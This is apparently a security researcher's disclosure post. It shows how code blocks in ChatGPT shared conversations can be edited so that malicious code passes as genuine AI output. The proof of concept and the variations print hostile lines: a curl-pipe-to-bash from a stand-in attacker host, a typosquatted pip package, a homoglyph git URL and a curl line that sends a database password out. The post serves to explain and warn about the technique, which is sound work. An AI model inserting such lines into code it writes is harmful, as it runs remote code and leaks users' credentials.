Abusing ChatGPT's Shared Conversations as a Code Injection Vector
ChatGPT's shared conversation feature allows users to edit code blocks inside AI-generated responses before sharing. The surrounding AI text stays intact, only the code is swapped. The recipient sees the modified…
TL;DR
ChatGPT lets you edit code blocks inside AI-generated responses. When you share the conversation, the edited code is what the recipient sees, framed by the original unmodified AI explanation, with no indication anything was changed. No badge. No diff. No warning. The result is a delivery mechanism where malicious code arrives under the full visual authority of “ChatGPT wrote this.”
Responsible Disclosure
Submitted to OpenAI through Bugcrowd on July 29, 2026. Closed Not Applicable on August 3, 2026. OpenAI’s reasoning: opening the shared link doesn’t itself cause harm. A recipient must trust the sender, copy the code, and execute it manually. No automatic execution or direct platform compromise is demonstrated.
That’s technically accurate. This post is published following that decision because the social engineering dimension is worth examining regardless of bounty outcome.
The Trust Problem
We’ve spent years training users to be suspicious of:
- Links in emails from unknown senders
- Attachments from strangers
- Code from random GitHub repos
But code that ChatGPT generated? That’s a different trust category entirely. When a colleague shares a ChatGPT link saying “here’s the setup script I asked the AI to write,” you’re not evaluating a person’s intent. You’re reading what looks like neutral, machine-generated output. The social engineering happens upstream of the code itself.
That shift in trust model is the entire attack surface.
How It Works
ChatGPT lets users edit code blocks in their own conversation history. The surrounding explanation text stays original, only the code changes. This is an intentional feature. The issue is what happens at the sharing layer: the share link always reflects the current state of the conversation, including any edits, with nothing on the shared page indicating the code was ever touched.
When a modified conversation is shared:
- The edited code is what the recipient sees
- There is no “edited” indicator of any kind on the shared page
- There is no diff or comparison to the original AI output
- The code is visually identical to unmodified AI output
- The original user prompt is visible, and it’s innocent, because it was
This works across multiple code blocks in the same conversation. Every one of them can be modified independently and shared together, each appearing as original AI output to anyone who opens the link.
Proof of Concept
I prompted ChatGPT to write a Python setup script for a Flask + PostgreSQL dev environment. A completely ordinary request that produces a completely legitimate script. I then inserted a single line into the middle of it:
print("[+] Installing Flask dependencies")
run(
f"{pip} install --upgrade pip && "
f"{pip} install flask psycopg2-binary python-dotenv flask-sqlalchemy"
)
# Configure system logging for Flask application
run("curl -sSL https://ATTACKER-SERVER/setup-logging.sh | bash")
print("[+] Creating Flask application")
One line, buried between a pip install and the app scaffold. The comment makes it look like a standard logging setup step. The rest of the script is exactly what ChatGPT generated.
When the recipient opens the shared link:
- They see an innocent prompt: “Can you help me set up a Python dev environment?”
- They see a well-structured, professional-looking script
- The AI explanation framing the code is completely genuine
- There is no visual indication the code was modified
Demo

Live Example
The following is a real shared ChatGPT conversation where the code block was modified after generation. The surrounding AI text is genuine, only the code was changed. The injected payload is non-functional and included for demonstration purposes only. Open it and see what you notice:
View modified shared conversation
No warning. No diff. No badge. Indistinguishable from a clean, AI-generated answer.
The Bigger Picture
What makes this interesting isn’t the curl pipe, that’s just the PoC. What’s interesting is that the attack surface scales with AI adoption. The more teams rely on shared ChatGPT conversations for onboarding, documentation, and internal tooling, the more valuable this delivery mechanism becomes.
Traditional Phishing vs. AI-Assisted Phishing
| Traditional Phishing | AI-Assisted Phishing |
|---|---|
| Email from unknown sender | Shared link from a colleague |
| Suspicious attachment | “ChatGPT wrote this” |
| Obvious malicious URL | One line buried in 80 lines of legitimate code |
| User is on guard | User’s guard is completely down |
| Blocked by email filters | No filter catches this |
Real-World Scenarios
Developer Onboarding
“Hey team, I asked ChatGPT how to set up our microservices locally, follow this: [shared link]”
The script runs perfectly. Also establishes persistence in the background.
DevOps / Infrastructure
“Here’s the docker-compose ChatGPT generated for our staging environment”
The compose file pulls from an image registry under attacker control.
API Integration
“ChatGPT wrote this API client for our service, includes error handling and everything”
The client also forwards the API key to an external endpoint as “telemetry.”
SSH / Credential Setup
“Follow these steps to set up your SSH keys for our GitLab”
The script exfiltrates the private key as part of the “setup.”
Variations
The curl pipe is just the obvious version. The same technique works with subtler payloads that are harder to catch on a quick read. All examples below are illustrative.
Typosquatting via pip, one character off:
# What ChatGPT wrote
pip install flask psycopg2-binary gunicorn
# What gets shared
pip install flask psycopg2-binary gunicorn python-utils-helpers
Homoglyph in a git clone URL:
# Original
git clone https://github.com/pallets/flask-example.git
# Modified, spot the difference
git clone https://github.com/pa1lets/flask-example.git
Credential exfiltration in a config write:
(app_dir / ".env").write_text(f"DB_PASSWORD={DB_PASSWORD}")
# "Verify" the configuration was written correctly
run(f"curl -s https://config-validator.example/check?p={DB_PASSWORD}")
These are harder to catch because they don’t look like injections. They look like the kind of thing an AI would plausibly write.
Takeaways
The more we trust AI output, the more valuable it becomes as a social engineering vector.
Security defenses are built around technical primitives: executable files, network requests, known-bad signatures. Social engineering that abuses a trust relationship doesn’t trip those wires. This technique works not because it exploits a code execution path, but because it exploits the assumption that shared AI output is what it appears to be.
That assumption is going to get more load-bearing as AI becomes the default way teams share knowledge, write tooling, and onboard engineers. It’s worth examining now.
Don’t blindly trust code because “ChatGPT said it.” Especially if someone else shared the conversation.
If this was useful, let's talk.
Open to a PFE internship and offensive security roles in pentest and red team. Hard problems, real environments, serious teams.